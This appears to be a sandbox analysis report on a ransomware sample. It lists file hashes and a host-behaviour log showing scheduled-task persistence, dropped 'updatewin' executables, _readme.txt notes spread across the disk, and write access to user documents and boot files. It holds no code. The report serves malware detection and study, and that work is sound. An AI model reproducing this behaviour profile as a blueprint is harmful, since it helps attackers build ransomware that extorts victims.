C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi 885.58 KB MD5: 53e1e6c888f58d0a2d0517531215c46d
SHA1: d947d2d5eeff3adbfc8b914bd211ad27ddd7c702
SHA256: 34e2eaf086b28e6c90d254c2e38140fc3060c65da2c16462efa963e779302ded
SSDeep: 6144:3+nYtNCSe/MVs9GnZvcghI3bGj2QELvMYI2q3ksedyPs3ETGpyIQEkmt3PNXMRiR:3+ncJe0VGGnxpinikseAPsJpfjt3PEW 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\06IT.bmp 53.21 KB MD5: aaf6bf1d25ee84c5b0f86fa810bfefda
SHA1: 50ae1be729eb73f4d2f0b2a12bc0973c52c52705
SHA256: 1e5f80115b521d31f68c4a56d3cc0025a9a0d33da5416d98a6c775e56a8a316a
SSDeep: 1536:tywioYy/ZGE7iI1RmM6U0Q83XKq+2BnjZRXMwCEeaONuDrQ:tywioYKE6LmMZnWbBniorQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\8e9tUhNS.mp3 6.53 KB MD5: e809891fd354bf723223ce62256259a8
SHA1: b562e8638d38f39d169e293fa7f6c3e2aec9030a
SHA256: f6be509d8275681c2ae6ebb2e72af0af29a0cd81a5311211125b725d42926248
SSDeep: 192:CWWuDYleewFgxkgUOx8QazbZ92UzlKy2jQN:CWVEjRo8UzlKXQN 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\AY5wVsgvxZG.mkv 42.07 KB MD5: 4aeb4bf19031e09c71df93eb5af29c9e
SHA1: c84132139bb2149cab4a33fb8606209968f676f4
SHA256: 3e63fa7a124f4477ddd72779dd5f772fad73098e622409db4f2d4bc49a9b70b1
SSDeep: 768:53HzvnENkS1VQ4YKqOQ5ZqCW4tcxgQ18dD7BIhoqGubCa1epTafmz+IV0:53zvUNVQtZtb5dD7ahoU31epTaOz+IV0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\lrQc.mp3 77.97 KB MD5: 3ce77247e5b08874828af1a4ad3b9c00
SHA1: ed4f5c8890d95e30312011319b4b2ad7730cd70e
SHA256: 8b28cc2559414455e547935592c57dac77af5345f4d640d6146efafa71994e35
SSDeep: 1536:6s7kuo5TAm43h8rsoIKG1vpwVdav2l9ou6V0AE9uj4J52kc:6sfoF0xqBRGZpwVdjJi4J5Xc 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\qIBKN1tzN.wav 43.52 KB MD5: 39dde47b0f9f8592b747723b5055530c
SHA1: 78c6c45479ea25ff1104f13ab63272eca2e84c9f
SHA256: 4b1cca4652da5bdced660b26660a9b7d2654174c7b86350083e76611ac34e438
SSDeep: 768:t+c7JaKWXaO2I/k1UrOErf6zIdeeFQ4/rHBCgF6LFAT87OY77xfRROB:t+cl2Ko/NrSMdPbjBSp/G 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\SRxR.m4a 37.29 KB MD5: 2131e102eb6db715dbc6d71cca71ac9c
SHA1: 284924b9d34ec1c56c1746627fb1b606ff0651b8
SHA256: 6aab687d45a04ad75f1e514249ab38d711d9e6b420212557e95c0413bc1bd724
SSDeep: 768:Y55kQj0cv6SjbUm24aTsTocbLVegmQFDEbHYxDJTUHR52kylOGZ:A5kQIyLcTscFgmQFQb4xDJTUHR5YlZ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\AgA3ZST-09kNuz.avi 39.83 KB MD5: b1dca49a81a732180b7481aa94ecbcdb
SHA1: bdfa4903555b6e62b45a2764dba16c8e61a9babf
SHA256: a3839c1345889fc85dc1df1ad21bb5d6425cfc4dba8405562e2f2e1a4703b2d1
SSDeep: 768:oCHQINst39GQqDLEEWDQ0sw/cfWrcEos9wDD6j2RLHWPIyExh:o+QaIsH4EZ0s6cfX28mj2R33 		False
...
Host Behavior
COM (8)
»
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute TaskScheduler ITaskService method_name = Connect, server_name = 95, domain = 95, password = 4289035 True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, path = \, new_interface = ITaskFolder True 1
Fn
Execute TaskScheduler ITaskService method_name = NewTask, new_interface = ITaskDefinition True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Triggers, new_interface = ITriggerCollection True 1
Fn
Execute TaskScheduler ITriggerCollection method_name = Create, type = TASK_TRIGGER_TIME, new_interface = IDailyTrigger True 1
Fn
Execute TaskScheduler IDailyTrigger method_name = put_StartBoundary, start_boundary = 2019-07-30T10:50:21 True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Actions, new_interface = IActionCollection True 1
Fn
File (1770)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\SystemID\PersonalID.txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 1
Fn
Create C:\SystemID\PersonalID.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\5.exe desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Config.Msi\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\cs-CZ\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\da-DK\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\de-DE\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\el-GR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\en-US\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\es-ES\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\fi-FI\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\Fonts\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\fr-FR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\hu-HU\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\it-IT\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\ja-JP\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\ko-KR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\nb-NO\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\nl-NL\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\pl-PL\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\pt-BR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\pt-PT\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\ru-RU\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\sv-SE\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\tr-TR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\zh-CN\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\zh-HK\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\zh-TW\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\BOOTSECT.BAK desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BCD.LOG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BCD.LOG1 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Boot\BCD.LOG2 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Boot\BOOTSTAT.DAT desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Boot\memtest.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\cs-CZ\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\da-DK\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\de-DE\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\el-GR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\en-US\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\en-US\memtest.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\es-ES\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\fi-FI\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\chs_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\cht_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\jpn_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\kor_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\wgl4_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\fr-FR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\hu-HU\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\it-IT\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ja-JP\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ko-KR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\nb-NO\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\nl-NL\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pl-PL\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pt-BR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pt-PT\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ru-RU\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\sv-SE\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\tr-TR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-CN\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-HK\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-TW\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\NTUSER.DAT desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\5zH-zIr1.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\aOnv.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\BHoyqXyEnI.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c9bdd6Fy9R2i0LIdNVF1.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\dCkeRMnueuS.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\F6Te.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\G75P.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ilxSdGe1gMuCMD u.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_wqzl.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\kmiNoteKSNX.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PbgTn4O2W.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Q28Inf3N_0B4jbpxb7Nm.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\sBE3Xge.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\T-5.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ti-oi3g-0V2.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\W_6RWJXn.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\zbn0rhaHx NfXQs.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-p4ffBCma.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\1dRMBdJ8JilqvY.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\2toarBW5rlEiNoO5.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\5eg1.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\9oBPh66lU7Zt.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\BuZP.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ckvWAPm3 YLx5ut.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\c_0f9-L4gyuk6.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\g7OWFNW_481.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mKDXp.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\t5djWBc.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VbVUQGncHIj1 ec.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xCUGudyvE2cZEXnf.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yB1sPauX7FL.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yjqyP77NFy.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\gN3ngE.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\H2RlJNYiG6Mk.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\miLI HhNB0PH1Dx.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gsjZHHkpLbVJkW1Clgz.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\QCte6Xmtwsu.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Searches\Everywhere.search-ms desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
